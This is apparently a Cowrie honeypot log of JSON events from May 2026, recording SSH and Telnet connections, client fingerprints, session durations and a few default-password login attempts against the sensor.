{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cc425cf2cb","protocol":"ssh","message":"New connection: 187.16.96.250:60826 (10.17.0.5:22) [session: e1cc425cf2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:10.927680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:10.932527Z","src_ip":"187.16.96.250","session":"e1cc425cf2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:11.048741Z","src_ip":"187.16.96.250","session":"e1cc425cf2cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37464,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00c10d7912c","protocol":"telnet","message":"New connection: 38.54.119.93:37464 (10.17.0.5:23) [session: c00c10d7912c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:11.248821Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin102030","message":"login attempt [root/admin102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:11.549199Z","src_ip":"187.16.96.250","session":"e1cc425cf2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.32841157913208,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:12.361105Z","src_ip":"65.60.27.33","session":"ef39da3339b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:12.668926Z","src_ip":"187.16.96.250","session":"e1cc425cf2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.74275541305542,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:14.225670Z","src_ip":"38.54.119.93","session":"fd26d5a7f583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37822,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b25bf20c8f","protocol":"telnet","message":"New connection: 62.210.97.77:37822 (10.17.0.5:23) [session: 61b25bf20c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:14.618549Z"}
{"eventid":"cowrie.session.closed","duration":39.05783700942993,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:16.045103Z","src_ip":"62.210.97.77","session":"1e6488920e60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee3d940ce9f","protocol":"telnet","message":"New connection: 62.210.97.77:48058 (10.17.0.5:23) [session: dee3d940ce9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:18.975317Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59914,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5ba4a640985","protocol":"telnet","message":"New connection: 165.232.131.181:59914 (10.17.0.5:23) [session: e5ba4a640985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:20.635238Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"255c8907982e","protocol":"telnet","message":"New connection: 165.232.131.181:59954 (10.17.0.5:23) [session: 255c8907982e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:20.752117Z"}
{"eventid":"cowrie.session.closed","duration":35.078718185424805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:20.774420Z","src_ip":"62.210.97.77","session":"a5ab91858b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09107446670532,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:22.359274Z","src_ip":"62.210.97.77","session":"a7d0217d82e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7327861785888672,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:22.484804Z","src_ip":"165.232.131.181","session":"255c8907982e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.104367733001709,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:23.739475Z","src_ip":"165.232.131.181","session":"e5ba4a640985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.64685797691345,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:24.239820Z","src_ip":"62.210.97.77","session":"fdf0f61a3848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.994078159332275,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:24.631647Z","src_ip":"62.210.97.77","session":"031c4df8057d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.03953433036804,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:26.866082Z","src_ip":"65.60.27.33","session":"398047f99d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60832,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b74c15160b","protocol":"telnet","message":"New connection: 65.60.27.33:60832 (10.17.0.5:23) [session: 52b74c15160b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:31.298346Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50850,"dst_ip":"10.17.0.5","dst_port":23,"session":"24753c2c0ffe","protocol":"telnet","message":"New connection: 38.54.119.93:50850 (10.17.0.5:23) [session: 24753c2c0ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:32.059481Z"}
{"eventid":"cowrie.session.closed","duration":33.60941243171692,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:33.171443Z","src_ip":"62.210.97.77","session":"6a86f7d97cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22217631340027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:35.190525Z","src_ip":"62.210.97.77","session":"20db9959c47a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.12083554267883,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:35.790019Z","src_ip":"165.232.131.181","session":"23d8555bc2e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37588,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d230cfab3f2","protocol":"telnet","message":"New connection: 62.210.97.77:37588 (10.17.0.5:23) [session: 6d230cfab3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:36.282460Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc0a5f9f8e7","protocol":"telnet","message":"New connection: 165.232.131.181:38128 (10.17.0.5:23) [session: 1cc0a5f9f8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:38.419359Z"}
{"eventid":"cowrie.session.closed","duration":32.110878705978394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:38.441053Z","src_ip":"62.210.97.77","session":"d774bf5f578c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.567012786865234,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:39.364544Z","src_ip":"62.210.97.77","session":"4219f3eb0053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55896,"dst_ip":"10.17.0.5","dst_port":23,"session":"252fd262bab3","protocol":"telnet","message":"New connection: 38.54.119.93:55896 (10.17.0.5:23) [session: 252fd262bab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:39.744592Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48814,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c768ac5c6ab","protocol":"telnet","message":"New connection: 62.210.97.77:48814 (10.17.0.5:23) [session: 9c768ac5c6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:39.757742Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0a501b8e8bb","protocol":"telnet","message":"New connection: 62.210.97.77:48826 (10.17.0.5:23) [session: b0a501b8e8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:40.419443Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:41.965393Z","src_ip":"47.77.182.54","session":"342f1eefea38","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:42.015660Z","src_ip":"47.77.182.54","session":"342f1eefea38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6015591621398926,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:42.020813Z","src_ip":"165.232.131.181","session":"1cc0a5f9f8e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.450112104415894,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:42.242404Z","src_ip":"62.210.97.77","session":"c03108e83c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03973960876465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:42.959110Z","src_ip":"62.210.97.77","session":"e5e5070c1eb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48828,"dst_ip":"10.17.0.5","dst_port":23,"session":"16de3fb9362a","protocol":"telnet","message":"New connection: 62.210.97.77:48828 (10.17.0.5:23) [session: 16de3fb9362a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:44.080930Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56882,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9426a1e8d3d","protocol":"telnet","message":"New connection: 38.54.119.93:56882 (10.17.0.5:23) [session: a9426a1e8d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:44.324991Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47630,"dst_ip":"10.17.0.5","dst_port":23,"session":"771ad61bfc45","protocol":"telnet","message":"New connection: 65.60.27.33:47630 (10.17.0.5:23) [session: 771ad61bfc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:44.377384Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48838,"dst_ip":"10.17.0.5","dst_port":23,"session":"766c4d25ad68","protocol":"telnet","message":"New connection: 62.210.97.77:48838 (10.17.0.5:23) [session: 766c4d25ad68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:44.985358Z"}
{"eventid":"cowrie.session.closed","duration":5.539854049682617,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:45.284346Z","src_ip":"38.54.119.93","session":"252fd262bab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90309500694275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:45.360482Z","src_ip":"62.210.97.77","session":"7812780828f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59385085105896,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:46.215096Z","src_ip":"62.210.97.77","session":"217370654e7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.506531953811646,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:46.886241Z","src_ip":"165.232.131.181","session":"a3e8ee20d1dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.584104061126709,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:47.908997Z","src_ip":"38.54.119.93","session":"a9426a1e8d3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.470261573791504,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:48.425912Z","src_ip":"165.232.131.181","session":"a4ec17379612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.178447723388672,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:48.555753Z","src_ip":"65.60.27.33","session":"771ad61bfc45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37526,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e4ee7bc647","protocol":"telnet","message":"New connection: 62.210.97.77:37526 (10.17.0.5:23) [session: 97e4ee7bc647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:49.783290Z"}
{"eventid":"cowrie.session.closed","duration":35.27304458618164,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:49.891501Z","src_ip":"62.210.97.77","session":"61b25bf20c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37534,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe0d6df856c","protocol":"telnet","message":"New connection: 62.210.97.77:37534 (10.17.0.5:23) [session: dbe0d6df856c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:52.204994Z"}
{"eventid":"cowrie.session.closed","duration":45.80138373374939,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:53.110551Z","src_ip":"165.232.131.181","session":"f903e05f8ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60871601104736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:53.583900Z","src_ip":"62.210.97.77","session":"dee3d940ce9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":10543,"dst_ip":"159.203.135.109","dst_port":22,"session":"665b806cd1d7","protocol":"ssh","message":"New connection: 89.218.69.66:10543 (159.203.135.109:22) [session: 665b806cd1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:55.725123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:55.729861Z","src_ip":"89.218.69.66","session":"665b806cd1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:55.905696Z","src_ip":"89.218.69.66","session":"665b806cd1d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456789","message":"login attempt [root/admin123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:56.623184Z","src_ip":"89.218.69.66","session":"665b806cd1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46160,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0ca20020c5","protocol":"telnet","message":"New connection: 165.232.131.181:46160 (10.17.0.5:23) [session: ee0ca20020c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:57.662320Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:57.799192Z","src_ip":"89.218.69.66","session":"665b806cd1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.89795517921448,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:54:58.146638Z","src_ip":"38.54.119.93","session":"c00c10d7912c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49068,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87c240d4dcd","protocol":"telnet","message":"New connection: 165.232.131.181:49068 (10.17.0.5:23) [session: e87c240d4dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:01.417581Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42758,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4e23c3e015","protocol":"telnet","message":"New connection: 62.210.97.77:42758 (10.17.0.5:23) [session: 6a4e23c3e015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:02.955354Z"}
{"eventid":"cowrie.session.closed","duration":120.00362205505371,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:04.839274Z","src_ip":"38.54.119.93","session":"55453433476d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44890,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd6a5cd16ee","protocol":"telnet","message":"New connection: 38.54.119.93:44890 (10.17.0.5:23) [session: 4bd6a5cd16ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:06.214889Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51020,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3664a80ba5","protocol":"telnet","message":"New connection: 165.232.131.181:51020 (10.17.0.5:23) [session: af3664a80ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:06.514672Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46362,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f586cc6ca14","protocol":"telnet","message":"New connection: 65.60.27.33:46362 (10.17.0.5:23) [session: 9f586cc6ca14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:07.364036Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40230,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d70fe274d0","protocol":"telnet","message":"New connection: 62.210.97.77:40230 (10.17.0.5:23) [session: 89d70fe274d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:09.939488Z"}
{"eventid":"cowrie.session.closed","duration":38.93461060523987,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:10.232841Z","src_ip":"65.60.27.33","session":"52b74c15160b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54171800613403,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:10.824095Z","src_ip":"62.210.97.77","session":"6d230cfab3f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40244,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb8a4c34e0e","protocol":"telnet","message":"New connection: 62.210.97.77:40244 (10.17.0.5:23) [session: 6fb8a4c34e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:12.126699Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40260,"dst_ip":"10.17.0.5","dst_port":23,"session":"44614aafbc76","protocol":"telnet","message":"New connection: 62.210.97.77:40260 (10.17.0.5:23) [session: 44614aafbc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:12.289190Z"}
{"eventid":"cowrie.session.closed","duration":33.419137716293335,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:13.838498Z","src_ip":"62.210.97.77","session":"b0a501b8e8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53850,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ec45080819","protocol":"telnet","message":"New connection: 165.232.131.181:53850 (10.17.0.5:23) [session: 39ec45080819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:55:13.909105Z"}
